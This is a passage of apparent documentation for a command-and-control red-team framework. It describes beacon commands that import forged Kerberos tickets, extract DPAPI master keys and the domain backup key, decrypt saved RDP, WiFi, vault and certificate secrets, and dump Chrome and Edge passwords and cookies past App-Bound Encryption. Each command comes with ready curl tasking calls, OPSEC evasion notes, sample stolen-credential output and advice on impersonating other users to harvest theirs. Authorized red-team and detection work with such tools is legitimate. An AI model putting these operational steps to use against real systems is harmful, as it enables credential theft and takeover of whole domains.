  • Using RC4 (etype 23) when the account normally uses AES may be flagged as a downgrade attack
  • The resulting TGT is indistinguishable from a normally obtained ticket
  • MITRE ATT&CK: T1550.002 (Use Alternate Authentication Material: Pass the Hash)

kerberos_ticket_use

Import a .kirbi format Kerberos ticket into the beacon's in-memory ticket cache. The imported ticket will be used for subsequent Kerberos-authenticated operations (including jump and remote-exec commands).

Task type: kerberos (method: ticket_use)

kerberos_ticket_use C:\Users\Public\golden.kirbi
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberos_ticket_use C:\\Users\\Public\\golden.kirbi"}'

kerberos_ccache_use

Import a .ccache format credential cache file into the beacon's Kerberos ticket cache. Ccache files are the standard Linux Kerberos credential format (used by kinit, impacket, etc.).

Task type: kerberos (method: ccache_use)

kerberos_ccache_use /tmp/krb5cc_admin
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberos_ccache_use /tmp/krb5cc_admin"}'

DPAPI Decryption Chain

The Data Protection API (DPAPI) is Windows' built-in mechanism for encrypting user secrets. DPAPI-protected data includes saved RDP credentials, WiFi passwords, Credential Manager vault entries, certificate private keys, and browser secrets. Decrypting DPAPI data requires either the user's password or the domain backup key.

flowchart TD
    MK[Master Keys<br/>dpapi_masterkeys] --> |User Password| DB[Decrypt Blob]
    BK[Domain Backup Key<br/>dpapi_backupkey] --> |LSAD RPC| DB

    DB --> RDP[RDP Credentials<br/>dpapi_rdp]
    DB --> WIFI[WiFi Passwords<br/>dpapi_wifi]
    DB --> VAULT[Vault Entries<br/>dpapi_vault]
    DB --> CERT[Certificate Keys<br/>dpapi_certkeys]

    TRIAGE[dpapi_triage<br/>Full Chain] --> MK
    TRIAGE --> RDP
    TRIAGE --> WIFI
    TRIAGE --> VAULT
    TRIAGE --> CERT

    style MK fill:#6a1b9a,color:#fff
    style BK fill:#4a148c,color:#fff
    style DB fill:#311b92,color:#fff
    style RDP fill:#1a237e,color:#fff
    style WIFI fill:#1a237e,color:#fff
    style VAULT fill:#1a237e,color:#fff
    style CERT fill:#1a237e,color:#fff
    style TRIAGE fill:#0d47a1,color:#fff

dpapi_masterkeys

Extract DPAPI master key files from user Protect directories. Master keys are the root encryption keys used to protect DPAPI blobs. Each user has a set of master keys stored at %APPDATA%\Microsoft\Protect\<SID>\.

Task type: dpapi (method: masterkeys)

dpapi_masterkeys
dpapi_masterkeys --target S-1-5-21-1234567890-1234567890-1234567890-1001
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_masterkeys"}'

Example output:

DPAPI master key enumeration for SID S-1-5-21-...-1001:
Found 3 master key files in C:\Users\jsmith\AppData\Roaming\Microsoft\Protect\S-1-5-21-...:

  C:\Users\jsmith\...\{a1b2c3d4-e5f6-7890-abcd-ef1234567890} (468 bytes)
  C:\Users\jsmith\...\{b2c3d4e5-f6a7-8901-bcde-f12345678901} (468 bytes)
  C:\Users\jsmith\...\Preferred (24 bytes)

Note: Master key blobs are encrypted. Decryption requires the user's password
or the domain backup key (via dpapi_backupkey).

OPSEC

  • Reads files from the user's profile directory -- minimal footprint
  • Does not attempt decryption (enumeration only)
  • MITRE ATT&CK: T1555.004 (Credentials from Password Stores: Windows Credential Manager)

dpapi_backupkey

Retrieve the domain DPAPI backup key from a Domain Controller via LsaRetrievePrivateData RPC. The domain backup key can decrypt any domain user's DPAPI master keys, enabling offline decryption of all DPAPI-protected secrets across the domain.

Task type: dpapi (method: backupkey)

Parameter Type Required Default Description
dc string Yes -- Domain Controller hostname
domain string No Auto-detected AD domain
dpapi_backupkey dc01.corp.local
dpapi_backupkey dc01.corp.local --domain CORP.LOCAL
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_backupkey dc01.corp.local"}'

OPSEC

  • Requires Domain Admin or equivalent privileges
  • Makes an LSAD RPC call to the DC (LsaRetrievePrivateData)
  • The domain backup key is the "master key" for all domain DPAPI secrets -- extremely high-value credential
  • MITRE ATT&CK: T1555.004 (Credentials from Password Stores: Windows Credential Manager)

dpapi_rdp

Decrypt saved RDP (Remote Desktop Protocol) credentials from the Windows Credential Manager. These are passwords saved when a user checks "Remember my credentials" in the RDP client.

Task type: dpapi (method: rdp)

dpapi_rdp
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_rdp"}'

OPSEC

  • Reads credential files from %LOCALAPPDATA%\Microsoft\Credentials\
  • Requires the user's DPAPI master key (or domain backup key) for decryption
  • MITRE ATT&CK: T1555.004

dpapi_wifi

Decrypt WiFi profile passwords stored on the local machine. WiFi passwords are DPAPI-protected and stored in XML profiles under ProgramData\Microsoft\Wlansvc\Profiles\.

Task type: dpapi (method: wifi)

dpapi_wifi
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_wifi"}'

OPSEC

  • WiFi profiles are machine-level DPAPI blobs (require SYSTEM master key or machine backup key)
  • Requires Local Admin / SYSTEM context
  • MITRE ATT&CK: T1555.004

dpapi_vault

Decrypt Windows Credential Manager vault entries. The vault contains credentials saved by Windows components and applications (web credentials, Windows credentials, certificate-based credentials).

Task type: dpapi (method: vault)

dpapi_vault
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_vault"}'

OPSEC

  • Reads vault files from %LOCALAPPDATA%\Microsoft\Vault\
  • Requires the user's DPAPI master key for decryption
  • MITRE ATT&CK: T1555.004

dpapi_certkeys

Decrypt certificate private keys protected by DPAPI. These keys are stored in the user's certificate store and can be used for authentication, code signing, or encrypted communication.

Task type: dpapi (method: certkeys)

dpapi_certkeys
dpapi_certkeys --target S-1-5-21-...-1001
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_certkeys"}'

OPSEC

  • Reads certificate key files from %APPDATA%\Microsoft\Crypto\RSA\ and %APPDATA%\Microsoft\Crypto\Keys\
  • Requires the user's DPAPI master key for decryption
  • MITRE ATT&CK: T1555.004

dpapi_triage

Run a full DPAPI triage -- extracts master keys and then decrypts all available DPAPI-protected credential types (RDP, WiFi, Vault, Certificate Keys) in a single operation.

Task type: dpapi (method: triage)

Parameter Type Required Default Description
domain string No -- Domain for backup key retrieval
dc string No -- DC for backup key retrieval
dpapi_triage
dpapi_triage --domain CORP.LOCAL --dc dc01.corp.local
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_triage"}'

Example output:

=== Master Key Extraction ===
Found 3 master key files for SID S-1-5-21-...-1001

=== RDP Credentials ===
Target: TERMSRV/dc01.corp.local
  Username: CORP\admin
  Password: AdminP@ss123!

=== WiFi Passwords ===
SSID: CorpWiFi
  Password: WiFiP@ss2024

=== Vault Credentials ===
Resource: https://intranet.corp.local
  Username: jsmith
  Password: Intr@net!

=== Certificate Keys ===
Subject: [email protected]
  Key exported: RSA 2048-bit

Full DPAPI chain workflow

  1. Run dpapi_triage for a quick overview of all available secrets
  2. If you have Domain Admin, run dpapi_backupkey first to get the domain backup key
  3. With the backup key, you can decrypt master keys for any user in the domain
  4. Use individual commands (dpapi_rdp, dpapi_wifi, etc.) for targeted extraction

Browser Credential Extraction

chromedump

Extract saved passwords and cookies from Google Chrome and Microsoft Edge (Chromium-based) browsers. Supports both legacy DPAPI key decryption and Chrome v20+ App-Bound Encryption via the IElevator COM interface.

How it works:

  1. Locates Chrome/Edge user data directories under %LOCALAPPDATA%
  2. Reads the Local State JSON file to extract the encrypted master key
  3. Key decryption (dual approach):
    • Chrome v20+ (App-Bound Encryption): Uses the IElevator COM interface to decrypt the app-bound key through Chrome's elevation service. Falls back to DPAPI if IElevator is unavailable
    • Legacy (Chrome <v20): Decrypts the master key using DPAPI (CryptUnprotectData)
  4. Copies the Login Data SQLite database to a temp file (avoids Chrome's lock)
  5. Queries the logins table for origin_url, username_value, password_value
  6. Decrypts each password blob using AES-256-GCM with the master key
  7. Also extracts and decrypts cookies from the Cookies database

Chrome v20 App-Bound Encryption

Starting with Chrome v127+, Google introduced App-Bound Encryption where the master key is encrypted to the Chrome application identity, not just the user's DPAPI context. This means CryptUnprotectData alone cannot decrypt the key. Stentor's chromedump uses the IElevator COM interface ({708860E0-F641-4611-8895-7D867DD3675B}) to decrypt through Chrome's own elevation service, then falls back to standard DPAPI for older Chrome versions. Both v10/v11 key formats and v20+ app-bound keys are supported.

Task type: chromedump

Dedicated endpoint: POST /api/v1/c2/beacons/:id/chromedump

chromedump
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/chromedump" \
  -H "Authorization: Bearer $TOKEN"
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "chromedump"}'

Example output:

{
  "passwords": [
    {
      "url": "https://mail.corp.local/owa",
      "username": "[email protected]",
      "password": "OutlookP@ss123",
      "profile": "Default"
    },
    {
      "url": "https://vpn.corp.local",
      "username": "jsmith",
      "password": "VPNAccess!",
      "profile": "Default"
    }
  ],
  "cookies": [
    {
      "host": ".corp.local",
      "name": "SessionID",
      "value": "abc123...",
      "expires": 13350000000000000,
      "profile": "Default"
    }
  ]
}

OPSEC

  • Accesses Chrome user data directory (%LOCALAPPDATA%\Google\Chrome\User Data\)
  • Reads and copies Login Data SQLite database and Local State JSON file
  • Calls CryptUnprotectData to decrypt the master key (generates Event ID 16385 if DPAPI auditing is enabled)
  • Creates a temporary copy of the database file (chromedump-*.db in %TEMP%)
  • Runs in the beacon's process (no fork-and-run) -- use steal_token first if the target user differs from the beacon user
  • MITRE ATT&CK: T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)

Multi-user extraction

chromedump extracts credentials for the beacon's current user context. To harvest credentials from another user, use steal_token to impersonate that user's token first, then run chromedump.